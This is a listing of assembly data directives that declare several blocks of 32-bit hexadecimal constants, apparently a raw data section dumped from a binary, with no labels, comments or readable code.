dd 0F9CD825Eh, 5E265A47h, 9CAD8CACh, 1C09F3F7h, 1016E248h
dd 0BD0B434Fh, 6B3A7618h, 5D7E3476h, 0E320AE2Ah, 1C30E00Fh
dd 86364413h, 71E78003h, 0C257C799h, 6C5E2541h, 0CFD55237h
dd 25F9E953h, 81D8BFC2h, 0F41F17B7h, 0B0110922h, 0C436E2B1h
dd 0C0971050h, 97D829DDh, 80BE7971h, 4A407568h, 1E355826h
dd 7F215A3Bh, 0FD5FC7BCh, 2908D320h, 8D232D14h, 0DB2774D3h
dd 0BC345159h, 5D057615h, 774E2E78h, 28D42FF6h, 44D76E42h
dd 653502A6h, 0FB295372h, 21CBF361h, 0B0533h, 8A6F3F33h
dd 829F597Fh, 0DD9B3CFFh, 152E6E07h, 0C9D90014h, 46CA4C93h
dd 0F7092C9Ch, 0A8C881D1h, 30ED13h, 0D44E4EE3h, 0F6F28308h
dd 14E5A53Fh, 0DFE1DE20h, 0AE568ECBh, 7CC59F34h, 0DABA0147h
dd 775C27D3h, 285E881Ah, 17DC4795h, 2535BDDCh, 60D12FFAh
dd 79C2B95Ah, 28265878h, 573C4106h, 0B50FD818h, 58EC4038h
dd 4B0CCD1Ah, 0D7F7A1EFh, 0F28DABB5h, 0E926982Fh, 0B5B69A20h
dd 0D5C1BB81h, 700CD95Dh, 318025AFh, 8576974Ch, 2F204770h
dd 3205DBE9h, 0E997AF91h, 0D264D3A0h, 9354C133h, 6D3CDF05h
dd 173A100Bh, 5AB7530Ch, 0B2023406h, 5BFA30FFh, 7A070B28h
dd 0A6EA34C9h, 0B3530F11h, 6DC3E021h, 0E05BDD88h, 38E917EAh
dd 507D4062h, 0BE18F0B8h, 0DD280D7Ch, 5695D748h, 4FA4CF32h
dd 0D9F70380h, 4EB0C341h, 172CEA28h, 0C7AA5D5Dh, 0DA18E125h
dd 88D43EEh, 0D697F397h, 0E9B0DDECh, 3DFF0A09h, 0CBE85BBDh
dd 242C55E1h, 720053F3h, 80BD4027h, 9DD8D2B8h, 0C24D3BC0h
dd 5985D3BCh, 0EEA8DA7Fh, 0BDFD004Ah, 3546799Eh, 536C49Fh
dd 47C26F30h, 4E07FE4Dh, 174F7B5h, 52936802h, 17A63CD1h
dd 5E02AC48h, 0C23A350Eh, 0F69416AEh, 3E43BFCBh, 0E92C0FE0h
dd 1053F02Dh, 975F5AE3h, 0A482C442h, 1E0B0A5Dh, 4E48901Dh
dd 8E20FB3Dh, 0CC0F4BE9h, 5AEC5F32h, 0A16B9B00h, 272CFF2Dh
dd 25E91750h, 0DA4C4517h, 0AD1E2240h, 0C302A372h, 0EC216115h
dd 7FE15D09h, 7BBB60F7h, 2DE77C18h, 340B3BE8h, 0C11A526Ah
dd 4048062Dh, 7A350706h, 5F27E512h, 41EB2DC4h, 0DD762A62h
dd 2976E65Eh, 0C66828C2h, 691AF0C3h, 0A678E559h, 7500234Fh
dd 4549E12Dh, 69B69164h, 9CE9D6B0h, 7F169F69h, 8BB50FECh
dd 642EBA4Eh, 11641275h, 859FE801h, 72966EDEh, 29599512h
dd 0D0A531E8h, 545D31Dh, 29276EFh, 77478A13h, 38C13040h
dd 48A83A58h, 0F95F0146h, 0A2E905C2h, 0C1037679h, 52BBFBCBh
dd 9D7E6DAh, 0C2145D91h, 0A9C1C227h, 0D2FC63B3h, 90ABF07Dh
dd 1E7724A4h, 492B9FEDh, 4C55FC52h, 5AD4F685h, 86BBA92Ah
dd 9FD13735h, 0EA4891D8h, 673B10E4h, 5037B180h, 0C01A58B4h
dd 0FD0607ECh, 2F7BB3E1h, 5BD934F4h, 3B5AC98Ah, 881399B9h
dd 59BBE3E5h, 0B968989Fh, 0C8E91A1Bh, 0E85DBA31h, 80F18299h
dd 770BE781h, 0F5172A1Ch, 0F94A9981h, 291C7014h, 0B4C0CEB5h
dd 80FD6956h, 55022275h, 0F7811D2Bh, 4418CFBh, 1605330Ch
dd 0EAE963C3h, 5954DF44h, 805DD583h, 7C8307E4h, 0A87BBFC5h
dd 529DCBFh, 576C07DEh, 0C8F4D3AEh, 1A0AFA8h, 95A478B5h
dd 52DB5Eh, 0F42534F2h, 0F101243Ah, 0EA08208Fh, 86206FB4h
dd 2909F260h, 0CEC07FA2h, 9E2F6B57h, 4F9225E9h, 4D13A473h
dd 405DAE82h, 270E8437h, 0D1781946h, 0CDD463B7h, 0C12B19F1h
dd 0FE37FEE3h, 2FAC6EDFh, 7DE25AD5h, 54E7FA54h, 399005C4h
dd 0B5454168h, 2269C759h, 0F5C75C9Fh, 8830264h, 0B8EED824h
dd 2F0FBC3h, 36FABA10h, 487F2FE2h, 4C6C46A0h, 0EA151C80h
dd 0B996BC02h, 0B0C20345h, 0D5AFFE5Dh, 54C52092h, 0F576B50Bh
dd 85FC4517h, 4F63BC2Ah, 5A6F19E0h, 0CC76C988h, 0AF3C2DC8h
dd 5110130h, 6DAA1315h, 0B28AB83Ah, 39F77897h, 0E50AEDD1h
dd 0A8AC7868h, 2A2741BFh, 0C8B86D0Bh, 12E8C312h, 0C4066B1Eh
dd 21CB01A0h, 249303E9h, 38D7BEE1h, 0A12A44FEh, 2ECDEADAh
dd 0DAFA8205h, 2D45588Ch, 88DBD912h, 5700EFEAh, 0E8D0AF68h
dd 0A85F5B6Eh, 0F2210A1Fh, 8400B25Eh, 6851F63Bh, 200E5476h
dd 75BC1FB8h, 0AE002F34h, 3110D832h, 587D699Dh, 0CB46520h
dd 29789901h, 0E248C150h, 42821043h, 3DCFB650h, 0F9123BFCh
dd 0B11631F2h, 3C1F30E6h, 22E13026h, 0D5251124h, 3301DB87h
dd 0F1B00FC9h, 0C83988CFh, 474E359h, 0F7C392FDh, 51A2B9E3h
dd 2A1775E3h, 7516DBEBh, 0E72FD7E1h, 7E127B32h, 8FFB011Ah
dd 0E9510740h, 0D70927BCh, 0D92DC867h, 5102C296h, 9762C154h
dd 0CFC65552h, 13EEA12h, 0EEB56ABCh, 8B6414D9h, 22692FE9h
dd 1B90CDD2h, 0D45C4B71h, 2E8E12D2h, 875E00D2h, 22B61EEBh
dd 0F20100B5h, 3D5DEA81h, 68FA3613h, 3BF32859h, 0D5314A84h
dd 0AE04C315h, 0C050E086h, 816BA0C8h, 9E2E20EFh, 0FA03C938h
dd 0E4CF4E9h, 1404E8B1h, 0E1511E49h, 2C38089h, 0B05EF780h
dd 50FE30F0h, 0E623E7C1h, 60767E9h, 7B125294h, 0F2539E5Eh
dd 534D830h, 60167F05h, 5F71AE06h, 5000B7FCh, 0FE398DB0h
dd 8C030C8h, 0B528652Ch, 0A2820DBh, 0BAE7B198h, 0C736E6A4h
dd 8E60E533h, 0B5B86754h, 0B72B72C5h, 98856C5Dh, 28B22BA6h
dd 6F050257h, 0D061B85Bh, 0B4056CD8h, 8829100Bh, 4826FEE4h
dd 0FD3E4B73h, 0B0ED4CD3h, 82010D99h, 44968370h, 0EFC40269h
dd 68730913h, 0A09D559Fh, 0CE0FEEAh, 9DECEC9Dh, 2D42B4F1h
dd 0A62D4BFFh, 0BC5F5B86h, 0CF327DFFh, 60B81A1Ah, 2851A86Fh
dd 4B514431h, 0C11EC0AAh, 810305E1h, 0AD53E2C9h, 4B900445h
dd 0EE0B3B36h, 15FB93E0h, 0EB524774h, 0B0B15E2Fh, 0BA1045F6h
dd 0F7428ACCh, 0E9D55C03h, 17CB401Bh, 0C1BE5D40h, 0F703D0D0h
dd 0E36860D6h, 564E65BAh, 450A39BBh, 5A9CBC7Ah, 167299ACh
dd 1E15FFDh, 8307FF5h, 0B0CDF07Dh, 73530916h, 2C972401h
dd 0F5F06286h, 0DF151335h, 0E017AE12h, 170A07C6h, 0E20E0A18h
dd 0CABA9242h, 28E93DBDh, 801CD136h, 0F22748C5h, 0F8F45F93h
dd 0E457C456h, 50C39BAEh, 0CF44F263h, 0AC585EC7h, 80207BD6h
dd 25B907A1h, 0A2609829h, 29E80553h, 240659EEh, 0F7560C15h
dd 0DC5E4C6Ch, 0D7C2E17Ah, 0BA3242CDh, 752CCAA5h, 0C15DCA98h
dd 0BB03E528h, 0F95B9D0Fh, 33E62F2Fh, 0D18393BAh, 29D58DC8h
dd 0FA37F54Eh, 0B80596EFh, 81C078B1h, 4E104F41h, 0A10AB3Bh
dd 141C6808h, 933F5B24h, 0E1A49FD0h, 95751E5Eh, 9831CC69h
dd 0E6F84E16h, 781F240Ah, 72CF542h, 0E9270401h, 0E034D2FDh
dd 656245B3h, 104B6270h, 0F71B4A72h, 83D3E5D2h, 0BD0CF872h
dd 941F2B82h, 1DA713F5h, 0A4C61DAAh, 97529D57h, 0BE35801Ah
dd 0A43D3688h, 0AF561702h
dd 609139AEh, 6605F0D7h, 49417A97h, 4FA4FC2h, 37C9FF58h
dd 14F74770h, 9077F61Eh, 0D4D83771h, 2AF4F928h, 1AE42D9Fh
dd 9C2F5C79h, 4C0E7AAAh, 0DA2979C9h, 0CB082384h, 8D120259h
dd 140883Fh, 8F74E901h, 1CD53EA5h, 0EBAF200Eh, 1EED6826h
dd 0F4BE5DA5h, 18B25BBDh, 630543D5h, 4BC81C01h, 0E4748C2Dh
dd 0F9E86F20h, 11CA0747h, 0F3685D04h, 34E984E0h, 0BF0ABE8Dh
dd 0C95ABEC3h, 0F85144BAh, 0F53C20D0h, 32C08ADFh, 185184D5h
dd 3D6DC24Eh, 99FD17EAh, 463ED746h, 0A2FC0EFFh, 82DFBF28h
dd 0DB04675Fh, 0B452CD68h, 774FF379h, 74A76BFCh, 82860D47h
dd 5F55A088h, 23A05B16h, 0DF455802h, 1916FB3Fh, 3412977h
dd 0D8CD76C5h, 62E3B035h, 6AD71600h, 2EB739AEh, 3C6EA9A1h
dd 1427E9E6h, 0B2844427h, 9753E42h, 4898733Fh, 5CB351Bh
dd 0DA21712h, 825ABC0h, 892F1795h, 0C9BD64F9h, 2739D00Eh
dd 3972C92Ch, 5841070Fh, 0F2E8C5B5h, 0D0224BA8h, 0EDC14DFAh
dd 7E6F0648h, 8226C9BBh, 99FE1EAFh, 0EC5292A4h, 0C6E9C277h
dd 0E22D0038h, 5B4AFC0Dh, 8A28D81h, 0BEE67DD6h, 97DCD12Ah
dd 4904F0B7h, 302C0FAAh, 66D3BE2h, 0CCB06B0Dh, 0A6419Dh
dd 7A426382h, 0BDDC7354h, 7B29940h, 66D53038h, 7AFE495Ah
dd 162E985h, 0B8EA0190h, 3A0EBD28h, 8B45A9B3h, 784EE205h
dd 0EAF42D07h, 0E27F9709h, 53A354E0h, 0EEF93A5Eh, 72950992h
dd 25C41C7Dh, 22EE478Bh, 984E50F6h, 45B2DE90h, 7624C77h
dd 0AB3F4305h, 21EFD7Eh, 4A805860h, 734D6041h, 0AEA910F9h
dd 6CDB3A29h, 261238E0h, 9DF0565Dh, 2E42CDBAh, 80F4044h
dd 40627268h, 1A34691h, 6052D828h, 84409770h, 1682855h
dd 180D205Ch, 4FC45F4Bh, 0CE4155B7h, 5FA1E9D2h, 0F910EB32h
dd 308C4580h, 669F1FB7h, 17590234h, 0EE29491Eh, 0A7873875h
dd 5E201242h, 0F501C343h, 0D9E911E8h, 7CB74A5Fh, 0E2405324h
dd 0BD004E88h, 58C70C84h, 8E0A1D20h, 13854460h, 4009FFD5h
dd 314F5D01h, 4DF3318Eh, 7B6508DEh, 9D01D330h, 0B55CCA54h
dd 2C5C6DD8h, 18E81237h, 8B6A6FC9h, 507E0780h, 0CBC05CB0h
dd 0B9DB4CE9h, 0A5E226A9h, 0DC8C86FCh, 0F0561ACDh, 7D5DE6CEh
dd 5B54975Eh, 0DD28E985h, 7AF44EAh, 0F7D0EA4Ah, 2D162BCAh
dd 9474123Bh, 3FFAE404h, 0C41443F1h, 56EDA8C2h, 32D727FCh
dd 0A275444h, 69ECDC81h, 0AE3DA974h, 68898DF0h, 5DCCB24Ah
dd 769FD34Eh, 58FC52A5h, 0A048600Bh, 0B012DAA3h, 0F172BD34h
dd 3261802h, 4B71E90Fh, 0FD61FA22h, 42DC6EA2h, 990E780Ah
dd 0C2D2C2Eh, 31E1089h, 23B00B64h, 0A6C98A51h, 2BFA08A0h
dd 0F6ECF24Fh, 204B099Eh, 35241059h, 8F7E3C02h, 0F104028h
dd 6532250Ah, 0C512B25Eh, 3A2B9DEBh, 32FC7713h, 0E878E9C4h
dd 0DB8058Dh, 4381B776h, 3D966D42h, 0FD1E95EBh, 0BB6868Fh
dd 2AF9C8Ah, 267F5EA4h, 807700Dh, 42C171B9h, 9A56C3E9h
dd 8828B100h, 7CB459CEh, 90702CCDh, 0A8FAA77Eh, 84ADBC1Ch
dd 7618187Fh, 7F2C393h, 0FF6FE134h, 9FCED233h, 0CA7BCE5Eh
dd 0CB96D7EBh, 211FE909h, 976C4601h, 7F42AD0Bh, 2730E775h
dd 3D421C71h, 236606E7h, 180A2AE9h, 68840902h, 7EF956B1h
dd 1379BC4Eh, 1DEA0901h, 1CF75950h, 609F71C6h, 1361350Fh
dd 7968EE0Ah, 0D9CE01F8h, 0F853101Bh, 8175ABBh, 0BEFD31E9h
dd 35DEF12h, 55FF2D20h, 283E819Fh, 3A90E842h, 0E92C1F0Bh
dd 0BBF140E1h, 8564385Dh, 3988BF02h, 14E16B26h, 0D35507A9h
dd 0EEF8D0FFh, 613719B9h, 0DDD38416h, 99ABAC28h, 4FC27E0Fh
dd 0E5D06Bh, 0B860ACBEh, 0D3CE816Eh, 4E060B17h, 4035108h
dd 0EA5EF231h, 5F016A85h, 3D9D128Dh, 0AFA4133Fh, 400B4150h
dd 4205EBD9h, 26E94058h, 250D3A0h, 3AA66851h, 0B66627C7h
dd 49C07E99h, 0F6A5B850h, 0D87150F6h, 0B79BBABFh, 0E90BD1C7h
dd 77F2C28Ah, 0D0719362h, 885F0849h, 0EFA34027h, 0E7810007h
dd 39C76D80h, 3324E957h, 9482A8DFh, 7F2CD20Ch, 0FA9A0C43h
dd 0B028EC2h, 0CE55EA29h, 74892EFCh, 245EAD7Eh, 6F680104h
dd 2482A0C5h, 8E00D793h, 2E254A2Dh, 3520224Bh, 2557F068h
dd 4E221E7Ch, 35266ECh, 9520E120h, 0AB008972h, 8123755Ch
dd 25A359C2h, 74C2DC8Ah, 2F5F88B0h, 56823799h, 68178768h
dd 80371CA4h, 0B959E954h, 5BDF4C58h, 1BF588Ch, 56270417h
dd 0D1E9F909h, 5BAC94ECh, 0DD6628AFh, 47844D60h, 0B7690D0Bh
dd 0D4F91184h, 7EC8FDD2h, 74031412h, 0E9DE88FBh, 5CDA632Dh
dd 5985D088h, 6834E691h, 0FA136EB2h, 7120AFFCh, 0B334C668h
dd 2E7439FDh, 8394772h, 5717F0E8h, 0FD4AF6CAh, 0AB1185E8h
dd 2636FB41h, 1A603B7Dh, 0EF28801Ah, 5D70F8EEh, 273D9F93h
dd 53BE008h, 0E2AF9C02h, 0C9F22898h, 0AD7BA438h, 78230942h
dd 0D50A827Bh, 0CB27836Ch, 0CB9ED6A8h, 965A43F6h, 4192B098h
dd 0A2410513h, 0B8B3827Ah, 1FFFC1FEh, 0BD0B006Fh, 30133819h
dd 0D24EF3F4h, 40B1AF90h, 5A747BD4h, 3A9DE5DEh, 644BD7E0h
dd 0AFEE877Ah, 4D27FC80h, 0BEC9832h, 0F9CE1A76h, 0E9E2FFDCh
dd 4837C875h, 456A092Dh, 26585135h, 0BCEF7AB0h, 5DD10179h
dd 415A3024h, 9503B4F4h, 2ADE0312h, 0B780CF92h, 2E7FD4BEh
dd 17A0121Dh, 4A41AB5Eh, 59C60A82h, 0E07D0C83h, 922DE607h
dd 5CCFFC5Bh, 8E685C0Bh, 579E9A4Dh, 0E762360h, 0DBBE78D2h
dd 3A924E72h, 0E4A12E01h, 6029DC53h, 0F197A490h, 1457EB2Fh
dd 18D027D6h, 3B527019h, 221FA725h, 0CA91712Fh, 0D21C4225h
dd 2D7945DFh, 9F071670h, 0E94DB743h, 0BA7BC07Bh, 2D5F1E62h
dd 505E8946h, 0E700B3A9h, 40964D6Bh, 8200EB9h, 0D2845E4Fh
dd 50063F3h, 1E446A67h, 0E34E8FE9h, 2D8029A2h, 7C36103Fh
dd 0E2B60090h, 4BC9E978h, 0B55C4222h, 1640A30Bh, 3ABDEBB7h
dd 1C95058Bh, 7C2C8AAEh, 18B9FC33h, 6025B1ACh, 0D85F0C93h
dd 0EC4BE752h, 0DC50E8F2h, 2A236550h, 497D8346h, 0A968951Dh
dd 0B760A664h, 19EFC09Fh, 0AC7FE08h, 0CEE7E103h, 4C23B61h
dd 45786A90h, 0A04F4BACh, 475AEA34h, 0CC945D05h, 85F5D020h
dd 0B3B0929h, 0EFED5F7h, 6D3681Eh, 0E956C730h, 17B9610h
dd 236692BDh, 0C02C7129h, 1577C309h, 45E5EE78h, 48C2FB08h
dd 0A734DC5Eh, 4B6DE748h, 0BEEC3BE1h, 754268B1h, 462A60D5h
dd 38B6BA80h, 81812C11h, 0B96B7EE2h, 87E83B1Fh, 9DD30312h
dd 13343E54h, 0F99EC4BAh, 0D482A2E5h, 557C25CEh, 78B37C5Ah
dd 1670965h, 3472D05Ch, 554CCAF0h, 0E62559E5h, 91D0B5A6h
dd 0E4FD9B26h, 88749180h, 3EB8120h, 0E1716289h, 0FA2DDBF7h
dd 0B7A0BE56h, 0CD06246h, 5730D53Ch, 0E2061036h, 6375CC60h
dd 0B1906192h, 3871DD1Fh, 5C2384E4h, 720652Ah, 7E6812A6h
dd 7353A37Ah, 5E5F7B40h, 0B2DFB009h, 4A42D05Dh, 0B70445E8h
dd 80170A71h, 16929A15h, 8FA12BEDh, 4BABDA7Fh, 0AC1273A2h
dd 92A9FCE1h, 0B76BDDA1h, 0BBF85B4Bh, 5FF968B0h, 3F49189Dh
dd 5F46B5CEh, 1EC5B55Bh, 62514F22h, 3BB750B2h, 0BDDBC9FEh
dd 47D22872h, 70B76544h, 0ABFD4E31h, 0F2223039h, 0EA8852B0h
dd 0D55E5173h, 0B57857ECh, 4F0DD2C2h, 0C5D6806Bh, 73C132EBh
dd 0A008BD29h, 0C892608h, 577596D7h, 99404FEEh, 0F1C0CB5Eh
dd 0D491637Ah, 38665863h, 3413E917h, 0C478EC01h, 0AB88B22Bh
dd 212805A2h, 0C2EA89FBh
dd 0DF0B57AFh, 27BE2486h, 1070EB03h, 0B60114EFh, 0A2E5208Ah
dd 54BC8976h, 77FE6851h, 6BCAAFADh, 5DF97288h, 0E15E410Ah
dd 0F2F1D208h, 78980212h, 25894D58h, 5A545282h, 9CB066CCh
dd 5F12AC54h, 973B43A4h, 54AE2CE9h, 0CA88359h, 0B34E4067h
dd 0EBD03E03h, 9997CB80h, 0E17B12F3h, 99C3E4F8h, 5BDC2807h
dd 0E9E2ACB1h, 0F32C61F4h, 9663E32Bh, 0AEB4FBACh, 111F1990h
dd 81680279h, 0B17E23CDh, 0E49CF282h, 762FD350h, 63C28208h
dd 93E7DBB7h, 918BB4Bh, 7DB595CAh, 97FAB7DEh, 7EF0E025h
dd 987D69FBh, 9FD90AACh, 0AB44CE2Bh, 472D4EEAh, 5E8158CCh
dd 0B99ECC63h, 63ABE64Fh, 0EFE153EEh, 3ED1C22Dh, 4EFE8F51h
dd 1E8CBE0h, 4AD65FCAh, 968304Ch, 76A814F0h, 0E18F3182h
dd 0A2857D09h, 7FCECB4h, 0FB9AE4B8h, 0F9F0EB2Eh, 808169EAh
dd 60D62716h, 0A240D8E6h, 1BB7A05h, 92D4A95h, 0FC741318h
dd 96BA1085h, 3256813h, 6FEF7A61h, 0C6D1AA04h, 6EE4B9F6h
dd 90F2F223h, 71AB31BDh, 0F87AC6FBh, 292EE749h, 68006DF7h
dd 127E3A6Bh, 0B2350558h, 0EA72A327h, 0F3DF2681h, 7A40B800h
dd 3A056026h, 5F9C6125h, 9202C6Eh, 0B41F396Ch, 8B058266h
dd 2592EA35h, 0A6E1D4C3h, 0FB052D96h, 4186015Dh, 606E8575h
dd 4D10DDABh, 6044EE4h, 0B20172E9h, 626809DEh, 8891FA28h
dd 0C7D6F7F1h, 32465FCh, 9CC89F0h, 745DABC4h, 0F1173C3Ah
dd 7D5C6007h, 434A3A68h, 0FC887021h, 0C1D61230h, 44C62D14h
dd 0EC05D0B0h, 20AD3013h, 707AAA1h, 591411CAh, 0A9808984h
dd 5E26561h, 4264EA68h, 52506641h, 0F6DCF760h, 44F771B5h
dd 3ED0E1EAh, 97882CDCh, 8C9D930Fh, 68242E76h, 947BBA09h
dd 0A438664Fh, 66F304C2h, 0AAF53743h, 8BECC016h, 86D101E4h
dd 6B147802h, 54C087F2h, 531A3145h, 1916BB78h, 0F4B9EAC1h
dd 725CC302h, 0C0F5632Dh, 0CFF78E71h, 0A9CC255h, 0EF4933h
dd 3D39455Eh, 345B21E9h, 6A5138D9h, 31021B17h, 0C55D857h
dd 624F644Ch, 258207EEh, 810550E9h, 388CCF8h, 3D366499h
dd 0C02EBCC3h, 657ECDBFh, 0CBF69742h, 1318CCCCh, 4737DE67h
dd 0F9C3037Bh, 0F3CF2077h, 30A563FEh, 0FE64B79h, 0BC029125h
dd 31E9DA29h, 4E1E7A43h, 88B105C7h, 0D4A482E2h, 944CDBB8h
dd 0B2B4F083h, 0DFF40180h, 2858E588h, 98E02EEBh, 646BE7AEh
dd 388B93FFh, 0D1BC53A4h, 0A49B404h, 71A0AE0Bh, 20C86BBAh
dd 4F3AF251h, 0CFD446A3h, 0ADF6BF2Fh, 0A3CADD69h, 8213CDD7h
dd 103BEE9h, 5B0B0846h, 0FD26B863h, 612D4C80h, 50487045h
dd 432B0287h, 0C0F80144h, 81C477C1h, 8025E320h, 426C5114h
dd 0BB01DF2Dh, 61E20925h, 6120D353h, 0E34B5803h, 5B7E2332h
dd 0D83F9940h, 131BA295h, 80BE00DBh, 0D14EDDFCh, 0CAA122FAh
dd 1313C675h, 0CD5F4168h, 87252AEDh, 25040D25h, 29AAF57Dh
dd 0A7C03E99h, 4EFF69A1h, 4F8A959h, 5EF37C5Dh, 4100F6EFh
dd 1C28E20Ch, 451E562Dh, 6F85AC23h, 2486C872h, 9BE2488h
dd 0C3DF1BADh, 189FC002h, 68770AFAh, 40607295h, 0F27F52A5h
dd 0E78FD89Fh, 0A366C86Eh, 0C61E341h, 0E57151C5h, 0B642EBC1h
dd 154ED777h, 95B64A80h, 0C1DC93BDh, 8A2B9371h, 377F5091h
dd 261B5ED4h, 0E509B0C5h, 40CCD1ACh, 679E2BFDh, 0D4070500h
dd 6FE99861h, 878C994Eh, 3413572Dh, 5188256h, 0EE5F0785h
dd 7B1C6801h, 82812FA5h, 7381A14h, 73F931E9h, 3FA410C8h
dd 1890267Dh, 5D506913h, 3D90285Ah, 0F20296E6h, 7CCEEC1Dh
dd 238D2C7Eh, 0DD060290h, 567EDC72h, 91E7A08h, 5A45D029h
dd 0E002ED2Ch, 0E2201C18h, 480D454h, 85AB1F9Fh, 0BC8BAA54h
dd 1FD0F717h, 4F46958h, 0C44B5161h, 27A5868Dh, 2DFA8739h
dd 0DB6741CFh, 0FBA3C42Ah, 80415BCDh, 427E2FEBh, 857B8FA4h
dd 0CA4D16E0h, 0AD7953BDh, 0E48B751h, 0C1516669h, 0C36A9728h
dd 1E0C852Eh, 0C40FE15Fh, 8E9CAF9h, 6B16C524h, 3E952DEEh
dd 9D51CDF0h, 0B356A3FCh, 53BD01FEh, 7F44F366h, 1C380089h
dd 28318706h, 97170F0Fh, 0B18AE09h, 0A1BE560Eh, 0B32E2909h
dd 7EE9C1A4h, 6B23012Ch, 87085224h, 31D82966h, 7E25102Dh
dd 0E2D29CA2h, 0EF83872Fh, 0ABCE97FFh, 0DFEDE909h, 6F8211FEh
dd 414AF046h, 0A4258DF6h, 56F8F741h, 0FCEB4D93h, 0C84A2771h
dd 7D9D151Bh, 0C05C970Bh, 8BD07B0Ch, 67080BBFh, 485D28BDh
dd 933EF44h, 0E9D6DF9Fh, 0F2BB18D2h, 0AC9DEA03h, 2CE9989Eh
dd 0EB69C048h, 20BE4E5Eh, 6397D7F6h, 0D3C33115h, 1DA33C9h
dd 92F8635h, 0A90B292Ah, 170C9BFFh, 43BE68FAh, 172FE9FFh
dd 9BDF2D28h, 4720100Fh, 0EEF7A441h, 48BCF7AFh, 17280412h
dd 0A4877A20h, 74EC90D9h, 0E230D7F8h, 1B163BDBh, 0CA0605E1h
dd 0F4A68B66h, 5AF7028Eh, 995ED7F6h, 8FFEC9CFh, 5800504Ch
dd 14B2CD81h, 68165503h, 0F6B3356Fh, 90398605h, 0E175853Fh
dd 13E03E46h, 5DEF4060h, 2AC95648h, 0B1071BB4h, 79C1802Fh
dd 79FDA6D2h, 0FA25ADE0h, 6212FF8Fh, 6EE979FAh, 810086A2h
dd 0F88626F2h, 0ED2D6897h, 9232D164h, 7417AED7h, 0E98F67ADh
dd 11E6A4A2h, 0C12F1176h, 67A6CE14h, 786804E3h, 960CF845h
dd 0E93270AFh, 149CCC79h, 0E2272C64h, 0EA50B4Eh, 5B7AB5Ah
dd 0CB8B572Dh, 24B35453h, 22E9C1D9h, 4844B261h, 0D68A081Eh
dd 13BCAE82h, 11ADD46Ch, 4BBF930Fh, 0F81CAFD2h, 9AE9D5C5h
dd 0BD4E3CE0h, 0F39F8E78h, 25D0ACD4h, 7AA59DE5h, 1D0518ECh
dd 2F695E5Bh, 81030CE4h, 6B2A33E5h, 0A9F5B01Eh, 1B442456h
dd 235401B5h, 6A09740Bh, 0FFEB6FD1h, 0B878248h, 37C66850h
dd 1FDBC630h, 54125E2Dh, 0E0ABC7F4h, 0A0E91139h, 0F5C22D6Bh
dd 0CEC77611h, 5BFE33CAh, 0D7EEAD09h, 45FD1A1Ah, 0E3A5B925h
dd 402781D6h, 3BE7BB6Ch, 0A95CD74Eh, 0C5633304h, 0AE1AF6Eh
dd 5F5B0802h, 19018E0Fh, 0EAE94CB2h, 0E7C1A8A1h, 0E0CA2002h
dd 4590141Dh, 3CD3CF81h, 40300568h, 0F2FB82AAh, 0B57F18Ch
dd 0B6D8601Eh, 296B0DBBh, 7CBA7A0h, 1BD06C17h, 5EBEE416h
dd 4FA7AF8Bh, 0B56D35Fh, 7C5BA825h, 736805D4h, 60CAAB54h
dd 7C5D294Eh, 4C34C63h, 4B332CFCh, 0AB050708h, 46FF6999h
dd 0E6109879h, 92C9683Ch, 5C001D2Bh, 0A9667DF2h, 58759606h
dd 68253D22h, 0CF85D70Eh, 7BC2E1E8h, 9F2D388Eh, 9F93FA70h
dd 0D8B91831h, 0C51AF82Ah, 0B9441657h, 9F808E5h, 0F20E8048h
dd 2B2C348h, 7C092D3Ch, 0E7DC840h, 0B8DBF680h, 3B4D73E2h
dd 0E31842F3h, 28E612A8h, 74D2DD5Ch, 64AE015Ah, 4F3B0D12h
dd 0ACA88A1h, 708439B9h, 0FCFA7FEFh, 7214883h, 68102EA1h
dd 0C257D993h, 2F9256EEh, 0F2788359h, 4E89ECCFh, 3842EA47h
dd 7F5DEE31h, 14CE7248h, 64185617h, 8B4AD30Ch, 6329008Dh
dd 0D5F18147h, 67289C4Ch, 0E74EDE89h, 4F5294C6h, 552A22B5h
dd 5A16FAF6h, 41811F98h, 0A4E9693Ah, 0FA5CA5AFh, 0E7BD59C8h
dd 52665A05h, 0C0AEE5D1h, 405E0659h, 85577E9Fh, 816711D6h
dd 0C32BFD50h, 3E7F9985h, 2E4876B2h, 2346D605h, 769BED09h
dd 31266918h, 2748AD0Ch, 0D5C1F1DCh, 0F309C2BDh, 7F54AD05h
dd 3316FD72h, 7FDA7095h, 680C89D6h, 72F001DEh, 0F4B97B98h
dd 0B8C0BA8h, 58504282h, 8A0B4D4h, 0C8015D12h, 4FC016A4h
dd 0C1F8FC0Ch, 363B02E2h, 35A9C02Eh, 0D50B4AABh, 60DFE97Ch
dd 492768F1h, 0CB82A070h
dd 0D4600D3Dh, 4082D7D4h, 5A295745h, 2F9DC06Ah, 1F5B8A83h
dd 0E70709FDh, 9BDA1D80h, 0FD06BDFEh, 0D2A604Dh, 6C0B0F9Fh
dd 19C77CB4h, 0DD7EC8FEh, 82240E22h, 0A454A5D0h, 1A89DD69h
dd 0CE078377h, 0EE8705D5h, 0B8136B7Eh, 44950494h, 0D2FA5A59h
dd 4A4B0270h, 3FF187F9h, 4968F40Fh, 82AC714Ch, 0CBDA57B0h
dd 203B57D6h, 82B8009Ch, 50FA24Bh, 0A9030B11h, 2DD8F736h
dd 17A7A9E2h, 5BD40F82h, 7EC16DC8h, 0FEB00429h, 6E7C4146h
dd 0E58BEAB0h, 4A4CD01h, 68A031A8h, 45BB660Bh, 0D1F63707h
dd 0B708D926h, 178E5488h, 0F5664EDEh, 12E1CFE4h, 3F8505FBh
dd 0D58DD79Bh, 59A849A7h, 0D28CBFF6h, 57FDB4Dh, 21304177h
dd 93ECC5h, 431F59F9h, 9702E6E9h, 68F807E6h, 6D7AFE2Dh
dd 32752594h, 0F72FC179h, 34B66800h, 800B1DAAh, 47B3FA58h
dd 700B8325h, 0E96E0838h, 933F4534h, 0A1B8FFEDh, 3130D6B1h
dd 7FEC2EAFh, 6B1AC502h, 8AC228F1h, 0D6FFC14Bh, 0CB059C4Fh
dd 89BCC2EFh, 583BE0AAh, 41C013B1h, 0F1FA3759h, 0C6548012h
dd 65016424h, 290360E3h, 408EA72Fh, 2F2CEF1Fh, 0CE00AAFAh
dd 68725949h, 961B7DE9h, 150BE993h, 0C52583F6h, 0B392BF69h
dd 0FF6EC91Fh, 3A2CAEC9h, 220541D0h, 21672546h, 0A0D50EEAh
dd 61E18A4h, 0E3D12D1Ch, 0C08D7860h, 8B015927h, 82E1DE25h
dd 41E57015h, 61F2E2DDh, 69F025Bh, 22CDC105h, 3474F958h
dd 7E3BA095h, 6F3DCFBh, 73A761Ah, 408A130Ch, 8B3D1E2Eh
